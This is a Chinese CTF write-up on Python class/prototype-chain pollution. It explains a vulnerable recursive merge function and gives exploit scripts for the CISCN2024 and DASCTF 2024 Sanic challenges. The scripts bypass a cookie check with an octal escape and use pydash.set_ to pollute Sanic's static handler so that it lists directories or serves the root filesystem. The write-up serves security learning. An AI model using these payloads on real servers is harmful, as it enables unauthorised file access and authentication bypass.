# Python 原型链污染
之前有写过 JS 原型链污染 adout JS - Fc04dB’s BLOG
和 JavaScript 的原型链污染差不多,都是需要 merge 函数来修改父类的属性
# 原型链
在 Python 中每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。
# merge 函数
1 2 3 4 5 6 7 8 9 10 11
| def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
对 src 中的键值对进行了遍历,然后检查 dst 中是否含有 __getitem__
属性,以此来判断 dst 是否为字典。如果存在的话,检测 dst 中是否存在属性 k 且 value 是否是一个字典,如果是的话,就继续嵌套 merge 对内部的字典再进行遍历,将对应的每个键值对都取出来。如果不存在的话就将 src 中的 value 的值赋值给 dst 对应的 key 的值。
如果 dst 不含有 getitem 属性的话,那就说明 dst 不是一个字典,就直接检测 dst 中是否存在 k 的属性,并检测该属性值是否为字典,如果是的话就再通过 merge 函数进行遍历,将 k 作为 dst,v 作为 src,继续取出 v 里面的键值对进行遍历。
就是将 src 中正常键值对(value 不是字典)的 value 赋给 dst 中正常键值对的 key 从而污染 dst(目标属性)
# 污染过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| class father: secret = "hello" class son_a(father): pass class son_b(father): pass def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) instance = son_b() payload = { "__class__" : { "__base__" : { "secret" : "world" } } } print(son_a.secret)
print(instance.secret)
merge(payload, instance) print(son_a.secret)
print(instance.secret)
|
# CISCN2024 - sanic
CISCN2024-WEB-Sanic gxngxngxn - gxngxngxn - 博客园 (cnblogs.com)
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from sanic import Sanic from sanic.response import text, html from sanic_session import Session import pydash
class Pollute: def __init__(self): pass
app = Sanic(__name__) app.static("/static/", "./static/") Session(app)
@app.route('/', methods=['GET', 'POST']) async def index(request): return html(open('static/index.html').read())
@app.route("/login") async def login(request): user = request.cookies.get("user") if user.lower() == 'adm;n': request.ctx.session['admin'] = True return text("login success")
return text("login fail")
@app.route("/src") async def src(request): return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST']) async def admin(request): if request.ctx.session.get('admin') == True: key = request.json['key'] value = request.json['value'] if key and value and type(key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success") else: return text("forbidden")
return text("forbidden")
if __name__ == '__main__': app.run(host='0.0.0.0')
|
/admin forbidden
通过用八进制 adm\073n 绕过 cookie
( RFC2068 的编码规则)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import requests url = 'http://a053bd54-eb02-452c-af3f-299070f3fd84.challenge.ctf.show' s = requests.Session() s.cookies.update({ 'user': '"adm\\073n"' }) s.get(url + '/login')
data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view", "value": True}
r = s.post(url + '/admin', json=data) print(r.text)
r = s.post(url + '/admin', json=data) print(r.text) print(s.get(url + '/src').text)
|
# DasCTF2024 七月 - Sanic’s revenge
DASCTF 2024 暑期挑战赛 - WEB-Sanic’s revenge gxngxngxn - gxngxngxn - 博客园 (cnblogs.com)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import requests
data={"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}
response = requests.post(url='url', json=data)
print(response.text)
|